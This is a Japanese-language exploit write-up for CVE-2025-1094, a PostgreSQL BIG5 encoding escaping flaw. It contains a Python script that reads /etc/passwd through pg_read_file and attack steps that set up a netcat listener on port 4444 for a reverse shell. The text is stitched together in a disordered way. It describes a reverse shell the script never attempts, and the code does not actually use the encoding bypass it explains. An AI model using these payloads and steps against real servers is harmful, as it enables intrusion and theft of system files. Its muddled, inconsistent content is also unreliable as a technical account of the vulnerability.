
これは、エンコードの不一致によって引き起こされる入力サニタイズの欠陥であり、細工された入力がフィルターをバイパスすることを可能にします。サーバーが脆弱な場合、攻撃者はバックエンドで実行される悪意のあるSQLを注入できます。
#このエクスプロイトは、CVE-2025-1094 で利用可能なPoCを参考に作成しました。
CVE‑2025‑1094 は、PostgreSQL の libpq エスケープ関数および psql 対話ツールにおける入力サニタイゼーションの脆弱性です。クライアントエンコーディングが BIG5 に設定されている場合、マルチバイトエンコーディングの不適切な処理に起因します。特定の条件下では、エスケープ文字の誤処理が発生し、攻撃者が意図されたクエリ境界をバイパスできるようになります。
この脆弱性は、BeyondTrust アプライアンスにおける別の問題である CVE‑2024‑12356 の分析中に Rapid7 によって発見されました。PostgreSQL の挙動は、バックエンドの動作にさらに影響を与えるためのより広範な連鎖脆弱性の一部として悪用されました。
Webサーバーやアプリケーションが psql を介して実行されるSQLクエリにユーザー入力を直接渡し、かつ client_encoding が BIG5 に設定されている場合、特別に細工された入力によってSQL文を早期に終了させ、悪意のあるSQLを追加することができます。
これにより、PostgreSQL の lo_export、pg_read_file、または同様の関数を介してローカルファイル(例:/etc/passwd)を読み取るなどの追加操作が可能になります。
これはデフォルトでは PostgreSQL のリモートコード実行(RCE)脆弱性ではありません。むしろ、PostgreSQL クライアントAPIの誤用であり、適切にフィルタリングまたはエスケープされていない場合に、機密ファイルの内容を漏洩させたり、危険なSQLを実行するために悪用される可能性があります。
COPY TO、pg_read_file、または lo_export を悪用することを可能にします。BIG5 であり、入力が適切にサニタイズされていない場合にのみ有効です。client_encoding=BIG5 で設定されていること。import psycopg2
conn = psycopg2.connect(
host="127.0.0.1",
dbname="test",
user="test",
password="Test"
)
conn.set_client_encoding("BIG5")
cursor = conn.cursor()
# Payload to read /etc/passwd into a server-accessible file
sql = \
"""
DO $$ DECLARE f text; BEGIN f := pg_read_file('/etc/passwd', 0, 1000);
RAISE NOTICE '%%', f; END $$;
"""
cursor.execute(sql)
conn.commit()
##✅ この Exploit.py の動作:
⚠️ リバースシェルは、次の条件を満たすサーバーでのみ成功します:
psql を使用してSQLを実行している(パラメータ化されたDBドライバではない)COPY TO PROGRAM を許可している(スーパーユーザーが必要)#このPythonスクリプトは、BIG5エンコーディングで入力を直接PostgreSQL psqlプロセスに渡す脆弱なWebサーバーに、特別に細工されたペイロードを送信します。 Steps to Use:
nc -lvnp 4444
エクスプロイトスクリプトを編集します:
別のターミナルでスクリプトを実行します:
python3 exploit.py
結果:成功した場合、リスナーに接続が届きます。成功しない場合は、代わりに pg_read_file ペイロードを使用してファイル(例:/etc/passwd)の読み取りを試みてください。
EUC_TW または類似のエンコーディングで初期化されていること。psql またはエスケープされていない動的SQLを使用してPostgreSQLとやり取りしていること。pg_read_file や lo_export などの関数にアクセスできる必要があります。client_encoding=BIG5 を避ける。